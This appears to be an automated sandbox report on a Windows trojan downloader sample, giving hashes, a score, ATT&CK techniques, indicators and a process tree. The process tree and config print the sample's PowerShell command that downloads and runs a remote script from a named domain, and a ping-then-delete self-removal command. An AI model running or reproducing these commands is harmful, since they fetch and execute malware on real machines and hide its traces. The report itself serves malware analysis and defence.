c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf

Analysis

max time kernel
122s
max time network
133s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13-10-2023 21:06

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General

Target

SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
Size

247KB
MD5

f17afa21e88b7a362db5ae8fdfa43de9
SHA1

14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
SHA256

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
SHA512

efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
SSDEEP

3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
25	2020	powershell.exe
29	2020	powershell.exe

Deletes itself 1 IoCs

pid	Process
2520	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2588	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2020	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2224	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	28
PID 2488 wrote to memory of 2224	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	28
PID 2488 wrote to memory of 2224	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	28
PID 2488 wrote to memory of 2224	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	28
PID 2224 wrote to memory of 2020	2224	cmd.exe	30
PID 2224 wrote to memory of 2020	2224	cmd.exe	30
PID 2224 wrote to memory of 2020	2224	cmd.exe	30
PID 2488 wrote to memory of 2520	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	33
PID 2488 wrote to memory of 2520	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	33
PID 2488 wrote to memory of 2520	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	33
PID 2488 wrote to memory of 2520	2488	SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe	33
PID 2520 wrote to memory of 2588	2520	cmd.exe	35
PID 2520 wrote to memory of 2588	2520	cmd.exe	35
PID 2520 wrote to memory of 2588	2520	cmd.exe	35
PID 2520 wrote to memory of 2588	2520	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe" >> NUL
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2020-4-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2020-5-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2020-6-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-7-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2020-9-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2020-8-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2020-10-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2020-11-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-12-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-13-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download